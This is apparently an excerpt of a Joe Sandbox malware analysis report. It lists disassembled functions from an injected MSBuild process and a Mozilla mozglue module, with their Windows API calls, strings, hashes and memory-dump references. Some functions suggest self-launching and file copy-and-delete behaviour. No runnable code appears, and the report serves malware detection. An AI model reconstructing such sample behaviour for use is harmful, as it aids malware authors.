Opcode ID: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction ID: 230cb6c78e49d091ad3aa437723465d8da4d0263841ff201a182858044389a60
Opcode Fuzzy Hash: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction Fuzzy Hash: 4A312731A01218DFDB10EFA9DC44AEEB7B6FF45308F94052AD81167B41E731A955CBE1

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 6C51BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C567A3F), ref: 6C51BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C567A3F), ref: 6C51BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C567A3F), ref: 6C51BF7E

Strings

Wl, xrefs: 6C51BF84

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Wl
API String ID: 4279176481-629350900
Opcode ID: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction ID: 23e541e4e45aab035b19a7bcc1eb3cc11b4c7dfd22cebbdc50697838e17c421b
Opcode Fuzzy Hash: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction Fuzzy Hash: 9E11C3B52017048FC725CF0CD99996AFBF8FF5A304315885DE98A8B751C771E804CB94

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 3ea695b73edd8d98e36b7eab2f8d63ce422a58f28ac802970baeffa819a47fc3
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 6C54E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54E577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E584
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C54E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C54E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C54E826, 6C54E850
MOZ_PROFILER_STARTUP, xrefs: 6C54E5A1, 6C54E5CC, 6C54E5FF, 6C54E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C54E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C54E722, 6C54E750, 6C54E7A2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction ID: 53e3f671a189093c1bbb74461a5de22f8e7a5c88521a7e6d141537066ed52a9a
Opcode Fuzzy Hash: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction Fuzzy Hash: 1811A131606264DFCB00EF14CC48B6ABBF8FB8A328F52561AE84547661D770A804CB99

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 6C550C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550CD5

Part of subcall function 6C53F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550D40
free.MOZGLUE ref: 6C550DCB

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

free.MOZGLUE ref: 6C550DDD
free.MOZGLUE ref: 6C550DF2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction ID: 80627c5e835a7759885c891cc34fdd4c6597562b49a12489c860ba0b0065baa1
Opcode Fuzzy Hash: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction Fuzzy Hash: 85412871908790CBD720CF29C88079AFBE5BFC5618F518A2FE8D887750D7709854CB92

Function 6C540800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C540838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C54084C
EnterCriticalSection.KERNEL32(?), ref: 6C5408AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5408BD
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C5408D5

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction ID: 20e47905d670de02d7394a38dbfcc19d5ce15c1d2dbe11c14bfd5aefd4fc1dd0
Opcode Fuzzy Hash: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction Fuzzy Hash: C221F231B022699BEF04DF65DC44BBE73B9AFC6708F604529D509E7A00DF71A8048BD4

Function 6C55CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDA4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D158
Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000098,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDC4

Part of subcall function 6C557480: ReleaseSRWLockExclusive.KERNEL32(?,6C5615FC,?,?,?,?,6C5615FC,?), ref: 6C5574EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CECC

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

Part of subcall function 6C54CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C55CEEA,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000), ref: 6C54CB57
Part of subcall function 6C54CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C54CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C55CEEA,?,?), ref: 6C54CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D058

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction ID: 3e606c06b106b44d810297bfae353050488be7c815772e1befce697cd70f8eb6
Opcode Fuzzy Hash: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction Fuzzy Hash: 27D15F71A04B46DFD708CF28C980B99B7E1BF89304F41866ED85987752EB31B9A5CB81

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlenA.KERNEL32(00000000), ref: 0040D698
lstrlenA.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e08ecf38ebd5565e679f0246e3adc88228fae48ec5f612c45d7e438c11b0a7e8
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: e08ecf38ebd5565e679f0246e3adc88228fae48ec5f612c45d7e438c11b0a7e8
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 6C511720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5117B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5118EE
free.MOZGLUE(?), ref: 6C511911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51194C

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction ID: 534c7c5ff63ed10341097ff0b3adb1de09488c9a53d304814f477fcaedce5723
Opcode Fuzzy Hash: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction Fuzzy Hash: 5281A274A192159FDB04CF68DC889AFBBB1FF99314F0485ACE851ABB54D730E844CBA1

Function 6C525C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C525D40
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67
__aulldiv.LIBCMT ref: 6C525DB4
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction ID: bd4e71fbf679516539b7c3a22615a6bff8b5ed249f90c433ec4554db5b5a98f9
Opcode Fuzzy Hash: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction Fuzzy Hash: CD518F71E011298FCF08CFA9CC55AAEBBB1FB8A304F2A8719D811A7794D7746945CB90

Function 6C50CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C50CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C50CF4E

Strings

0, xrefs: 6C50CF30

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction ID: dbd4f5209ccd65b448601322f6b10e2a6e721b1be19d218b64b9867e000d4099
Opcode Fuzzy Hash: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction Fuzzy Hash: C151F275A00216CFCB01CF18C890AAABBB5EF9A300F198599D8599F751D731BD06CBE1

Function 6C5677D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5677FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C567829

Part of subcall function 6C53CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5031A7), ref: 6C53CC45
Part of subcall function 6C53CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5031A7), ref: 6C53CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C56789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5678CF

